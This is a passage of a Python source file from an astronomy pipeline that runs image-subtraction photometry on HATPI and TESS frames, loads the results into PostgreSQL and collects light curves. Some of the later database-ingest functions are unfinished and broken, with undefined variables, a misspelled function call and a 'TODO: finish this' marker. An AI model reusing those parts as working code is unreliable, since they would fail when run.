os.path.basename(subframe).startswith('rsub') else 'nsub'\n )\n\n if observatory=='hatpi':\n\n kernelf = '%s-%s-%s-%s_%s-xtrns.fits-kernel' % (photrefbit,\n convsubhash,\n frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n kernel = os.path.abspath(os.path.join(os.path.dirname(subframe),kernelf))\n\n itransf = '%s-%s_%s.itrans' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n itrans = os.path.abspath(os.path.join(os.path.dirname(subframe),itransf))\n\n xysdkf = '%s-%s_%s.xysdk' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n xysdk = os.path.abspath(os.path.join(os.path.dirname(subframe),xysdkf))\n\n if observatory=='tess':\n\n namesub = re.findall('tess20.*?-[0-9][0-9][0-9][0-9]_cal_img_bkgdsub', subframe)\n if not len(namesub) == 1:\n raise AssertionError(\n 'expected only one subframe, got {:s}'.\n format(repr(namesub)))\n namesub = namesub[0]\n\n kernelf = '%s-%s-%s-xtrns.fits-kernel' % (photrefbit, convsubhash,\n namesub)\n kernel = os.path.abspath(os.path.join(os.path.dirname(subframe),kernelf))\n\n itransf = '%s.itrans' % (namesub)\n itrans = os.path.abspath(os.path.join(os.path.dirname(subframe),itransf))\n\n xysdkf = '%s.xysdk' % (namesub)\n xysdk = os.path.abspath(os.path.join(os.path.dirname(subframe),xysdkf))\n\n # write the photometry file to /dev/shm by default\n # if outdir is None:\n # outdir = '/dev/shm'\n\n _, subphot = ism.subframe_photometry_worker(\n (subframe, cphotref_cmrawphot, disjrad,\n kernel, itrans, xysdk, outdir,\n photreftype, kernelspec, lcapertures, observatory, photparams,\n domagfit)\n )\n\n if subphot and os.path.exists(subphot):\n\n print('%sZ: CONVSUBPHOT (STATIC) OK: '\n 'subtracted frame %s, photometry file %s' %\n (datetime.utcnow().isoformat(), subframe, subphot))\n\n return subframe, subphot\n\n else:\n\n print('%sZ: CONVSUBPHOT (STATIC) FAILED: subtracted frame %s' %\n (datetime.utcnow().isoformat(), subframe))\n\n return subframe, None\n\n\n except Exception as e:\n\n message = ('could not do CONVSUBPHOT (STATIC) for %s, '\n 'exception follows' % subframe)\n print('EXC! %sZ: %s\\n%s' %\n (datetime.utcnow().isoformat(), message, format_exc()) )\n\n return subframe, None\n\n\n\ndef parallel_convsubfits_staticphot(\n subfitslist,\n fitsdir=sv.REDPATH,\n fitsglob=sv.LOCAL_GLOBPATTERN,\n photreftype='oneframe',\n kernelspec='b/4;i/4;d=4/4',\n lcapertures='1.95:7.0:6.0,2.45:7.0:6.0,2.95:7.0:6.0',\n photdisjointradius=2,\n outdir=None,\n refinfo=REFINFO,\n nworkers=16,\n maxworkertasks=1000,\n observatory='hatpi',\n fieldinfo=None,\n overwrite=False,\n photparams=None,\n domagfit=False,\n dorereduce=False):\n \"\"\"\n This does static object photometry on the all subtracted FITS in\n subfitslist.\n \"\"\"\n\n # check if the convolved, subtracted frames already have photometry. if so,\n # and overwrite == False, then do not re-run photometry.\n\n existingiphot = glob.glob(os.path.join(\n outdir,'[r|n]sub-????????-'+ fitsglob.replace('.fits','.iphot')))\n\n if len(existingiphot) > 0 and not overwrite:\n\n requested = list(map(os.path.basename, subfitslist))\n alreadyexists = list(map(os.path.basename, existingiphot))\n\n # substitute out the hash string\n alreadyexists = [re.sub('[r|n]sub-.*?-','',ae).replace('.iphot','') for\n ae in alreadyexists]\n requested = [re.sub('[r|n]sub-.*?-','',r).replace('-xtrns.fits','') for\n r in requested]\n\n setdiff = np.setdiff1d(requested, alreadyexists)\n\n if len(setdiff) == 0:\n print('WRN! %sZ: photometry already done on requested frames.' %\n (datetime.utcnow().isoformat(),))\n print('Escaping parallel_convsubfits_staticphot.')\n return\n\n else:\n subfitslist = [fitsdir+sd+'.iphot' for sd in setdiff]\n\n tasks = [(x, photreftype, kernelspec, lcapertures, photdisjointradius,\n outdir, refinfo, observatory, fieldinfo, photparams, domagfit,\n dorereduce)\n for x in subfitslist if os.path.exists(x)]\n\n if len(tasks) > 0:\n\n pool = mp.Pool(nworkers,maxtasksperchild=maxworkertasks)\n\n # fire up the pool of workers\n results = pool.map(convsubfits_staticphot_worker, tasks)\n\n # wait for the processes to complete work\n pool.close()\n pool.join()\n\n return {x:y for (x,y) in results}\n\n else:\n\n print('ERR! {:s}Z:'.format(datetime.utcnow().isoformat()) + ' the '+\n 'files that reached convsubfits_staticphot_worker do not exist.'+\n ' bailing out...' )\n return 42\n\n\n\n##########################################\n## SQLITE3 STYLE PHOT INDEX DB IN PGSQL ##\n##########################################\n\nPHOT_SELECT_QUERY = (\"select rjd, framekey, photline from \"\n \"photindex_iphots where objectid = %s order by rjd\")\nCSTORE_SELECT_QUERY = (\"select rjd, framekey, photline from \"\n \"iphots_cstore where objectid = %s order by rjd\")\n\n\ndef insert_phots_into_database(framedir,\n frameglob='rsub-*-xtrns.fits',\n photdir=None,\n photglob='rsub-*-%s.iphot',\n maxframes=None,\n overwrite=False,\n database=None):\n \"\"\"\n This makes photometry index rows in the postgresql database. Intended for\n use when the sqlite3 databases get out of hand.\n \"\"\"\n\n # open a database connection\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n cursor = database.cursor()\n closedb = True\n\n\n # first, figure out the directories\n if not photdir:\n photdir = framedir\n\n\n # start work here\n try:\n\n if isinstance(framedir, list):\n framelist = framedir\n else:\n # first, find all the frames\n framelist = glob.glob(os.path.join(os.path.abspath(framedir),\n frameglob))\n\n # restrict to maxframes max frames\n if maxframes:\n framelist = framelist[:maxframes]\n\n\n # turn off table logging and drop indexes for speed\n cursor.execute('drop index if exists photindex_iphots_rjd_idx')\n cursor.execute('drop index if exists photindex_iphots_objectid_idx')\n\n starttime = time.time()\n\n # go through all the frames\n for ix, frame in enumerate(framelist):\n\n print('%sZ: inserting %d frame %s into pg database' %\n (datetime.utcnow().isoformat(), ix, frame))\n\n # generate the names of the associated phot and sourcelist files\n frameinfo = FRAMEREGEX.findall(os.path.basename(frame))\n framekey = '%s-%s_%s' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n\n photsearch = photglob % ('%s-%s_%s' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2]))\n\n originalframe = '%s-%s_%s.fits' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n\n photmatch = glob.glob(os.path.join(os.path.abspath(photdir),\n photsearch))\n originalframe = os.path.join(os.path.abspath(framedir),\n originalframe)\n\n # check these files exist, and populate the dict if they do\n if (photmatch and os.path.exists(photmatch[0])\n and os.path.exists(originalframe)):\n\n phot = photmatch[0]\n\n # get the JD from the FITS file.\n\n # NOTE: this is the ORIGINAL FITS frame, since the subtracted\n # one contains some weird JD header (probably inherited from the\n # photref frame)\n framerjd = get_header_keyword(originalframe, 'JD')\n\n # now get the phot file and read it\n photf = open(phot, 'rb')\n photo = StringIO()\n\n for line in photf:\n hatid = line.split()[0]\n photo.write('%.5f,%s,%s,%s' % (framerjd,\n hatid,\n framekey,\n line))\n photf.close()\n photo.seek(0)\n\n\n # do a fast insert using pg's copy protocol\n cursor.copy_from(photo,'photindex_iphots',sep=',')\n photo.close()\n\n # if some associated files don't exist for this frame, ignore it\n else:\n\n print('WRN! %sZ: ignoring frame %s, '\n 'photometry for this frame is not available!' %\n (datetime.utcnow().isoformat(), frame))\n\n # now we're all done with frame inserts\n\n # regenerate the indexes and reset table logging for durability\n print('%sZ: recreating indexes' % (datetime.utcnow().isoformat()))\n cursor.execute('create index on photindex_iphots(rjd)')\n cursor.execute('create index on photindex_iphots(objectid)')\n cursor.execute('analyze photindex_iphots')\n\n # commit the transaction\n database.commit()\n print('%sZ: done, time taken: %.2f minutes' %\n (datetime.utcnow().isoformat(), (time.time() - starttime)/60.0))\n\n returnval = (framedir, True)\n\n # catch the overwrite = False scenario\n except pg.IntegrityError as e:\n\n database.rollback()\n\n message = ('failed to insert photometry from %s '\n 'into DB because some of it exists already '\n 'and overwrite = False'\n % framedir)\n print('EXC! %sZ: %s\\n%s' %\n (datetime.utcnow().isoformat(), message, format_exc()) )\n returnval = (framedir, False)\n\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to insert photometry from %s into DB' % framedir\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (framedir, False)\n\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\ndef insert_phots_into_cstore(framedir,\n frameglob='rsub-*-xtrns.fits',\n photdir=None,\n photglob='rsub-*-%s.iphot',\n maxframes=None,\n overwrite=False,\n database=None):\n \"\"\"\n This makes photometry index rows in the postgresql database. This was an\n attempt to use the postgres column store extension to speed up ingestion of\n iphots. It did not speed it up.\n \"\"\"\n\n # open a database connection\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n cursor = database.cursor()\n closedb = True\n\n\n # first, figure out the directories\n if not photdir:\n photdir = framedir\n\n\n # start work here\n try:\n\n if isinstance(framedir, list):\n framelist = framedir\n else:\n # first, find all the frames\n framelist = glob.glob(os.path.join(os.path.abspath(framedir),\n frameglob))\n\n # restrict to maxframes max frames\n if maxframes:\n framelist = framelist[:maxframes]\n\n\n starttime = time.time()\n\n # go through all the frames\n for frame in framelist:\n\n print('%sZ: working on frame %s' %\n (datetime.utcnow().isoformat(), frame))\n\n # generate the names of the associated phot and sourcelist files\n frameinfo = FRAMEREGEX.findall(os.path.basename(frame))\n framekey = '%s-%s_%s' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n\n photsearch = photglob % ('%s-%s_%s' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2]))\n\n originalframe = '%s-%s_%s.fits' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n\n photmatch = glob.glob(os.path.join(os.path.abspath(photdir),\n photsearch))\n originalframe = os.path.join(os.path.abspath(framedir),\n originalframe)\n\n # check these files exist, and populate the dict if they do\n if (photmatch and os.path.exists(photmatch[0])\n and os.path.exists(originalframe)):\n\n phot = photmatch[0]\n\n # get the JD from the FITS file.\n\n # NOTE: this is the ORIGINAL FITS frame, since the subtracted\n # one contains some weird JD header (probably inherited from the\n # photref frame)\n framerjd = get_header_keyword(originalframe, 'JD')\n\n # now get the phot file and read it\n photf = open(phot, 'rb')\n photo = StringIO()\n\n # write to the output cstringio to generate CSVs in the format\n # we want\n for line in photf:\n hatid = line.split()[0]\n photo.write('%.5f,%s,%s,%s' % (framerjd,\n hatid,\n framekey,\n line))\n photf.close()\n photo.seek(0)\n\n\n # do a fast insert using pg's copy protocol\n cursor.copy_from(photo,'iphots_cstore',sep=',')\n photo.close()\n\n # if some associated files don't exist for this frame, ignore it\n else:\n\n print('WRN! %sZ: ignoring frame %s, '\n 'photometry for this frame is not available!' %\n (datetime.utcnow().isoformat(), frame))\n\n # now we're all done with frame inserts\n cursor.execute('analyze iphots_cstore')\n\n # commit the transaction\n database.commit()\n print('%sZ: done, time taken: %.2f minutes' %\n (datetime.utcnow().isoformat(), (time.time() - starttime)/60.0))\n\n returnval = (framedir, True)\n\n # catch the overwrite = False scenario\n except pg.IntegrityError as e:\n\n database.rollback()\n\n message = ('failed to insert photometry from %s '\n 'into DB because some of it exists already '\n 'and overwrite = False'\n % framedir)\n print('EXC! %sZ: %s\\n%s' %\n (datetime.utcnow().isoformat(), message, format_exc()) )\n returnval = (framedir, False)\n\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to insert photometry from %s into DB' % framedir\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (framedir, False)\n\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\ndef cstore_collect_imagesubphot_lightcurve(\n hatid,\n outdir,\n skipcollected=True,\n mindetections=50,\n database=None):\n \"\"\"\n This collects an ISM LC using the cstore tables in Postgres. This makes\n photometry index rows in the postgresql database. This was an attempt to\n use the postgres column store extension to speed up ingestion of iphots. It\n did not speed it up.\n \"\"\"\n\n # prepare the output file\n outfile = os.path.join(os.path.abspath(outdir), '%s.ilc' % hatid)\n\n # if the file already exists and skipcollected is True, then return\n # that file instead of processing any further\n if os.path.exists(outfile) and skipcollected:\n\n print('WRN! %sZ: object %s LC already exists, '\n 'not overwriting: %s' %\n (datetime.utcnow().isoformat(), hatid, outfile))\n\n return hatid, outfile\n\n\n # open a database connection otherwise\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n # this is a readonly query so we don't need a transaction\n database.autocommit = True\n cursor = database.cursor()\n closedb = True\n\n # start the collection process\n try:\n\n # find the photometry in the database for this hatid\n starttime = time.time()\n cursor.execute(CSTORE_SELECT_QUERY, (hatid,))\n rows = cursor.fetchall()\n print('lookup complete in %.2f seconds' % (time.time() - starttime))\n\n # make sure we have enough rows to make it worth our while\n if rows and len(rows) >= mindetections:\n\n outf = open(outfile, 'wb')\n\n # go through the phots and sourcelists, picking out the\n # timeseries information for this hatid\n for row in rows:\n\n # unpack the row to get our values\n framerjd, framekey, photline = row\n out_line = '%s %s %s\\n' % (framerjd, framekey, photline)\n outf.write(out_line.encode('utf-8'))\n\n # close the output LC once we're done with it\n outf.close()\n\n print('%sZ: object %s -> %s' %\n (datetime.utcnow().isoformat(), hatid, outfile))\n\n # this is the return val\n returnval = (hatid, outfile)\n\n # if we don't have enough detections, ignore this light curve\n else:\n\n print('ERR! %sZ: object %s: %s dets < %s mindetections,'\n ' ignoring...' %\n (datetime.utcnow().isoformat(), hatid,\n len(rows), mindetections))\n returnval = (hatid, None)\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to get photometry for %s from DB' % hatid\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (hatid, None)\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\ndef dbphot_collect_imagesubphot_lightcurve(hatid,\n outdir,\n skipcollected=True,\n mindetections=50,\n database=None):\n \"\"\"\n This collects an ISM LC using the photindex info in Postgres.\n \"\"\"\n\n # prepare the output file\n outfile = os.path.join(os.path.abspath(outdir), '%s.ilc' % hatid)\n\n # if the file already exists and skipcollected is True, then return\n # that file instead of processing any further\n if os.path.exists(outfile) and skipcollected:\n\n print('WRN! %sZ: object %s LC already exists, '\n 'not overwriting: %s' %\n (datetime.utcnow().isoformat(), hatid, outfile))\n\n return hatid, outfile\n\n\n # open a database connection otherwise\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n # this is a readonly query so we don't need a transaction\n database.autocommit = True\n cursor = database.cursor()\n closedb = True\n\n # start the collection process\n try:\n\n # find the photometry in the database for this hatid\n starttime = time.time()\n cursor.execute(PHOT_SELECT_QUERY, (hatid,))\n rows = cursor.fetchall()\n print('lookup complete in %.2f seconds' % (time.time() - starttime))\n\n # make sure we have enough rows to make it worth our while\n if rows and len(rows) >= mindetections:\n\n outf = open(outfile, 'wb')\n\n # go through the phots and sourcelists, picking out the\n # timeseries information for this hatid\n for row in rows:\n\n try:\n\n # unpack the row to get our values\n framerjd, phot, photline = row\n\n # generate the framekey\n rstfc_elems = FRAMEREGEX.findall(\n os.path.basename(phot)\n )\n rstfc = '%s-%s_%s' % (rstfc_elems[0])\n out_line = '%s %s %s\\n' % (framerjd, rstfc, photline)\n outf.write(out_line.encode('utf-8'))\n\n # if this frame isn't available, ignore it\n except Exception as e:\n\n print('WRN! %sZ: phot %s isn\\'t available (error: %s)'\n ', skipping...' %\n (datetime.utcnow().isoformat(), phot, e))\n continue\n\n # close the output LC once we're done with it\n outf.close()\n\n print('%sZ: object %s -> %s' %\n (datetime.utcnow().isoformat(), hatid, outfile))\n\n # this is the return val\n returnval = (hatid, outfile)\n\n # if we don't have enough detections, ignore this light curve\n else:\n\n print('ERR! %sZ: object %s: %s dets < %s mindetections,'\n ' ignoring...' %\n (datetime.utcnow().isoformat(), hatid,\n len(rows), mindetections))\n returnval = (hatid, None)\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to get photometry for %s from DB' % hatid\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (hatid, None)\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\ndef get_hatidlist_from_cmrawphot(projectid, field, ccd, photreftype,\n refinfo=REFINFO):\n \"\"\"\n This gets the hatidlist from the cmrawphot of a combined photref.\n \"\"\"\n\n cphotref = get_combined_photref(projectid, field, ccd, photreftype,\n refinfo=refinfo)\n\n cmrawphot = cphotref['cmrawphotpath']\n\n if os.path.exists(cmrawphot):\n\n hatidlist = []\n\n with open(cmrawphot,'rb') as infd:\n for line in infd:\n if not line.startswith('#'):\n hatid = line.split()[0]\n hatidlist.append(hatid)\n\n print('%sZ: %s objects found in cmrawphot: %s' %\n (datetime.utcnow().isoformat(), len(hatidlist), cmrawphot))\n\n else:\n\n print('ERR! %sZ: expected cmrawphot does not exist!' %\n (datetime.utcnow().isoformat(), ))\n\n\n return hatidlist\n\n\n\ndef parallel_dbphot_collect_worker(task):\n \"\"\"\n This is the parallel worker for the function below.\n\n task[0] = hatid\n task[1] = outdir\n task[2] = skipcollected\n task[3] = mindetections\n \"\"\"\n\n hatid, outdir, skipcollected, mindetections = task\n return dbphot_collect_imagesubphot_lightcurve(hatid,\n outdir,\n skipcollected=skipcollected,\n mindetections=mindetections)\n\n\n\ndef parallel_dbphot_lightcurves_hatidlist(hatidlist,\n outdir,\n skipcollectedlcs=True,\n mindetections=50,\n nworkers=24,\n maxworkertasks=1000):\n \"\"\"\n This collects light curves for the provided list of hatids.\n\n Get hatidlist by reading in the .cmrawphot file for a projectid-ccd\n combination using get_hatidlist_from_cmrawphot. In the future, we'll add\n these to the database.\n \"\"\"\n\n # first, check if the output directory exists\n if not os.path.exists(outdir):\n os.mkdir(outdir)\n\n\n # generate the list of tasks\n tasks = [(x, outdir, skipcollectedlcs, mindetections) for x in\n hatidlist]\n\n # now start up the parallel collection\n print('%sZ: %s HATIDs to get LCs for, starting...' %\n (datetime.utcnow().isoformat(), len(hatidlist), ))\n pool = mp.Pool(nworkers,maxtasksperchild=maxworkertasks)\n\n # fire up the pool of workers\n results = pool.map(parallel_dbphot_collect_worker, tasks)\n\n # wait for the processes to complete work\n pool.close()\n pool.join()\n\n return {x:y for (x,y) in results}\n\n\n\ndef parallel_dbphot_lightcurves_projectid(projectid,\n field,\n ccd,\n outdir,\n photreftype='oneframe',\n refinfo=REFINFO,\n skipcollectedlcs=True,\n mindetections=50,\n nworkers=24,\n maxworkertasks=1000):\n \"\"\"\n This collects LCs for specific projectids.\n \"\"\"\n\n hatidlist = get_hatidlist_from_cmrawphot(projectid,\n field,\n ccd,\n photreftype,\n refinfo=refinfo)\n\n if hatidlist:\n return parallel_dbphot_lightcurves_hatidlist(\n hatidlist,\n outdir,\n skipcollectedlcs=skipcollectedlcs,\n mindetections=mindetections,\n nworkers=nworkers,\n maxworkertasks=maxworkertasks\n )\n\n else:\n print('ERR! no hatids found for project: %s' % (repr([projectid,\n field,\n ccd,\n photreftype])))\n return None\n\n\n\n\n#########################\n## PHOTOMETRY DATABASE ##\n#########################\n\ndef parse_iphot_line(iphotline):\n\n \"\"\"\n This parses the iphot line and returns a row of formatted elems.\n\n These can be then attached to other metadata and written directly to the\n database.\n \"\"\"\n\n photelemline = iphotline.rstrip(' \\n')\n photelem = photelemline.split()\n\n if len(photelem) > 0:\n\n # get the station, framenumber, subframe, and ccd\n framekeyelems = FRAMESUBREGEX.findall(\n os.path.basename(iphot)\n )\n stf, cfn, cfs, fccd = (\n framekeyelems[0][0],\n framekeyelems[0][1],\n framekeyelems[0][2],\n framekeyelems[0][3]\n )\n net = 'HP' # this will be 'HP' for HATPI\n\n # these are things we get from the iphot line\n # hat, xcc, ycc, xic, yic\n # fsv, fdv, fkv, bgv, bge\n # ifl1, ife1, irm1, ire1, irq1\n # ifl2, ife2, irm2, ire2, irq2\n # ifl2, ife2, irm2, ire2, irq2\n\n objectid, xcc, ycc, xic, yic = photelem[:5]\n fsv, fdv, fkv, bgv, bge = photelem[5:10]\n ifl1, ife1, irm1, ire1, irq1 = photelem[10:15]\n ifl2, ife2, irm2, ire2, irq2 = photelem[15:20]\n ifl3, ife3, irm3, ire3, irq3 = photelem[20:]\n\n # format these as needed\n xcc = smartcast(xcc, float)\n ycc = smartcast(ycc, float)\n xic = smartcast(xic, float)\n yic = smartcast(yic, float)\n\n fsv = smartcast(fsv, float)\n fdv = smartcast(fdv, float)\n fkv = smartcast(fkv, float)\n bgv = smartcast(bgv, float)\n bge = smartcast(bge, float)\n\n ifl_000 = smartcast(ifl1, float)\n ife_000 = smartcast(ife1, float)\n irm_000 = smartcast(irm1, float)\n ire_000 = smartcast(ire1, float)\n irq_000 = smartcast(irq1, str)\n\n ifl_001 = smartcast(ifl2, float)\n ife_001 = smartcast(ife2, float)\n irm_001 = smartcast(irm2, float)\n ire_001 = smartcast(ire2, float)\n irq_001 = smartcast(irq2, str)\n\n ifl_002 = smartcast(ifl3, float)\n ife_002 = smartcast(ife3, float)\n irm_002 = smartcast(irm3, float)\n ire_002 = smartcast(ire3, float)\n irq_002 = smartcast(irq3, str)\n\n return {'objectid':objectid,\n 'xcc':xcc,\n 'ycc':ycc,\n 'xic':xic,\n 'yic':yic,\n 'fsv':fsv,\n 'fdv':fdv,\n 'fkv':fkv,\n 'bgv':bgv,\n 'bge':bge,\n 'ifl_000':ifl_000,\n 'ife_000':ife_000,\n 'irm_000':irm_000,\n 'ire_000':ire_000,\n 'irq_000':irq_000,\n 'ifl_001':ifl_001,\n 'ife_001':ife_001,\n 'irm_001':irm_001,\n 'ire_001':ire_001,\n 'irq_001':irq_001,\n 'ifl_002':ifl_002,\n 'ife_002':ife_002,\n 'irm_002':irm_002,\n 'ire_002':ire_002,\n 'irq_002':irq_002}\n\n else:\n\n return None\n\n\n\n\ndef convsub_photometry_to_ismphot_database(convsubfits,\n convsubphot,\n photreftype,\n subtracttype,\n kernelspec,\n lcapertures,\n projectid=None,\n field=None,\n ccd=None,\n overwrite=False,\n database=None):\n\n \"\"\"\n This inserts the ISM photometry from a single convsub FITS into the DB.\n\n If projectid, field, ccd are not provided, gets them from the FITS\n file. Also gets the photreftype from the filename of the\n convolved-subtracted photometry iphot file.\n \"\"\"\n\n # open a database connection\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n cursor = database.cursor()\n closedb = True\n\n # start work here\n try:\n\n # figure out the projectid, field, ccd, photreftype\n # first, figure out the input frame's projid, field, and ccd\n frameelems = get_header_keyword_list(convsubfits,\n ['object',\n 'projid'])\n felems = FRAMEREGEX.findall(\n os.path.basename(convsubfits)\n )\n\n if not (projectid and field and ccd):\n\n field, ccd, projectid = (frameelems['object'],\n int(felems[0][2]),\n frameelems['projid'])\n\n convsubdir = os.path.abspath(os.path.dirname(convsubfits))\n\n if not os.path.exists(iphotpath):\n print('ERR! %sZ: expected iphot %s for '\n 'convsub FITS %s does not exist, '\n 'not processing...' %\n (datetime.utcnow().isoformat(), iphotpath, convsubfits))\n return (convsubfits, False)\n\n # find the frame's original FITS file (unsubtracted calibrated frame)\n originalfitsbasename = '%s-%s_%s.fits' % (felems[0][0],\n felems[0][1],\n felems[0][2])\n originalfitspath = os.path.join(convsubdir, originalfitsbasename)\n\n if not os.path.exists(originalfitspath):\n print('%ERR! sZ: expected original FITS %s '\n 'for convsub FITS %s does not exist, '\n 'not processing...' %\n (datetime.utcnow().isoformat(),\n originalfitspath, convsubfits))\n return (convsubfits, False)\n\n # figure out the frame's info from the original frame's header\n framerjd = get_header_keyword_list(originalfitspath,\n ['JD',''])\n\n # also get some metadata from the frameheader\n\n\n # now open the accompanying iphot file, and stream the photometry to the\n # database\n with open(convsubphot,'rb') as infd:\n\n # prepare the statement\n query = (\"insert into ism_photometry (\"\n \"frameutcdt, objectid, framekey, photkey, \"\n \"xcc, ycc, xic, yic, bgv, bge, fsv, fdv, fkv, \"\n \"ifl_000, ife_000, irm_000, ire_000, irq_000, \"\n \"ifl_001, ife_001, irm_001, ire_001, irq_001, \"\n \"ifl_002, ife_002, irm_002, ire_002, irq_002\"\n \") values (\"\n \"%s, %s, %s, %s, \"\n \"%s, %s, %s, %s, %s, %s, %s, %s, %s, \"\n \"%s, %s, %s, %s, %s, %s, \"\n \"%s, %s, %s, %s, %s, %s, \"\n \"%s, %s, %s, %s, %s, %s\"\n \")\")\n\n # prepare the input params\n # TODO: finish this\n\n\n for line in infd:\n\n parsedline = parse_iphot_line(line)\n\n\n # update the iphotfiles table file with all of this info. if there's a\n # uniqueness conflict, i.e. this same combination exists, then overwrite\n # if told to do so\n if overwrite:\n\n print('WRN! %sZ: overwriting existing photometry info in DB for %s'\n %\n (datetime.utcnow().isoformat(), convsubfits))\n\n query = (\"insert into iphotfiles \"\n \"(projectid, field, ccd, photreftype, convsubtype, \"\n \"isactive, iphotfilepath, framerjd, framefilepath) \"\n \"values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s, %s, %s, %s\"\n \") on conflict on constraint iphotfiles_pkey \"\n \"do update \"\n \"set projectid = %s, field = %s, ccd = %s, \"\n \"photreftype = %s, convsubtype = %s, \"\n \"isactive = %s, iphotfilepath = %s, framerjd = %s, \"\n \"framefilepath = %s, entrytimestamp = current_timestamp\")\n\n params = (projectid, field, ccd, photreftype, subtractiontype,\n True, iphotpath, framerjd, originalfitspath,\n projectid, field, ccd, photreftype, subtractiontype,\n True, iphotpath, framerjd, originalfitspath)\n\n else:\n\n query = (\"insert into iphotfiles \"\n \"(projectid, field, ccd, photreftype, convsubtype, \"\n \"isactive, iphotfilepath, framerjd, framefilepath) \"\n \"values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s, %s, %s, %s\"\n \")\")\n params = (projectid, field, ccd, photreftype, subtractiontype,\n True, iphotpath, framerjd, originalfitspath)\n\n\n # execute the query to insert the object\n cursor.execute(query, params)\n database.commit()\n\n # update the iphotobjects table with all of these objects. if there's a\n # uniqueness conflict, i.e. this same combination exists, then overwrite\n # if told to do so\n\n if overwrite:\n\n query = (\"insert into iphotobjects \"\n \"(projectid, field, ccd, photreftype, convsubtype, \"\n \"isactive, objectid, iphotfilepath, iphotfileline) \"\n \"values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s, %s, %s, %s\"\n \") on conflict on constraint iphotobjects_pkey \"\n \"do update set \"\n \"projectid = %s, field = %s, ccd = %s, photreftype = %s, \"\n \"convsubtype = %s, isactive = %s, objectid = %s, \"\n \"iphotfilepath = %s, iphotfileline = %s, \"\n \"entrytimestamp = current_timestamp\")\n\n else:\n\n query = (\"insert into iphotobjects \"\n \"(projectid, field, ccd, photreftype, convsubtype, \"\n \"isactive, objectid, iphotfilepath, iphotfileline) \"\n \"values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s, %s, %s, %s\"\n \")\")\n\n # execute statements for all of the iphot objects\n for ind, objectid in enumerate(iphotobjects):\n\n if overwrite:\n params = (projectid, field, ccd, photreftype, subtractiontype,\n True, objectid, iphotpath, ind,\n projectid, field, ccd, photreftype, subtractiontype,\n True, objectid, iphotpath, ind,)\n else:\n params = (projectid, field, ccd, photreftype, subtractiontype,\n True, objectid, iphotpath, ind)\n\n cursor.execute(query, params)\n\n database.commit()\n\n print('%sZ: convsub FITS %s with iphot %s and %s objects '\n 'inserted into DB OK' %\n (datetime.utcnow().isoformat(),\n convsubfits,\n iphotpath,\n len(iphotobjects)) )\n\n # return True if everything succeeded\n returnval = (convsubfits, True)\n\n\n # catch the overwrite = False scenario\n except pg.IntegrityError as e:\n\n database.rollback()\n\n message = ('failed to insert photometry from %s '\n 'into DB because it exists already '\n 'and overwrite = False'\n % convsubfits)\n print('EXC! %sZ: %s\\n%s' %\n (datetime.utcnow().isoformat(), message, format_exc()) )\n returnval = (convsubfits, False)\n\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to insert photometry from %s into DB' % convsubfits\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (convsubfits, False)\n raise\n\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\ndef parallel_convsubphotdb_worker(task):\n \"\"\"\n This wraps the function above for use with the parallel driver below.\n\n task[0] = convsubfits\n task[1] = {'projectid', 'field', 'ccd', 'overwrite'}\n \"\"\"\n\n convsubfits = task[0]\n kwargs = task[1]\n\n return convsub_photometry_to_ismphot_databse(convsubphots,**kwargs)\n\n\n\ndef parallel_convsubphot_to_db(convsubfitslist,\n projectid=None,\n field=None,\n ccd=None,\n overwrite=False,\n nworkers=16,\n maxworkertasks=1000):\n \"\"\"\n This runs a convsubphot ingest in parallel.\n \"\"\"\n\n tasks = [(x, {'projectid':projectid, 'field':field,\n 'ccd':ccd, 'overwrite':overwrite})\n for x in convsubfitslist if 